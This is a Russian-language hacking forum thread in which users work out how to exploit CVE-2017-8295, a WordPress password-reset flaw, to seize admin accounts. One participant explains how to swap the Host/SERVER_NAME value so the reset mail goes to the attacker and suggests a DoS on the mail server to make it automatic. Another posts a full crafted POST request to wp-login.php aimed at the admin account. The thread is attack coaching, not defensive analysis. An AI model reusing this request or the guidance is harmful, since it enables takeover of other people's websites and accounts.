PDA

Просмотр полной версии : WordPress < 4.7.4 - Unauthorized Password Reset


wonalive
07.06.2017, 21:53
Дамы и господа, вечер добрый.
Вопрос относительно свежеиспеченного эксплойта CVE-2017-8295.
На сколько я понял, на момент публикации данной темы, вышеуказанный зловред в стадии верификации, но уже руки чешутся его опробовать. Очень маленький скриптик на Питоне отправляет постом запрос на сброс пароля от админской учетки.
Мой анализ привел к тому, что эксплуатируется уязвимость функции PHP mail(), а точнее подменяется почтовый адрес отправителя с помощью заголовков. То есть, в результате мы должны получить линк сброса пароля на указанную нами почту.
При запуске требует библиотеку python -> request.
А теперь собственно вопрос - какая практическая реализация? Куда подставить почту? Есть ли еще добрые люди, среди знающих как реализовать данную уязвимость?

Весьма благодарен за внимание.

Vertigo
08.06.2017, 05:12
wonalive сказал(а):

А теперь собственно вопрос - какая практическая реализация? Куда подставить почту?


Верно подсказали,там несколько способов,как с участием польз-ля,так и без него.
Если используется переменная SERVER_NAME , то например,серверы Apach используют её
как имя целевого хоста в заголовке HTTP_HOST.Вот вместо сервер-нейм ставится своё.
И тогда wordpress в коде $from_email = 'wordpress@' . $sitename; вставит данные от сервер-нейм)).
Чтобы автоматом всё сработало,нужна атака на почтовый сервер (dos).

wonalive
08.06.2017, 17:50
Спасибо за ответы, разобрался.





Код:



POST /wp-login.php?action=lostpassword HTTP/1.1
Host: my.mx.server
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

user_login=admin&redirect_to=&wp-submit=Get+New+Password


Сформировал вот такой запрос, но ведь он отправится на Host, то есть в данном случае на сервер my.mx.server, что то не так я понял. Кто-то может разжевать и положить в рот? Буду очень благодарен.

swagcat228
25.01.2020, 23:17
а что если WP крутится на IIS7 ?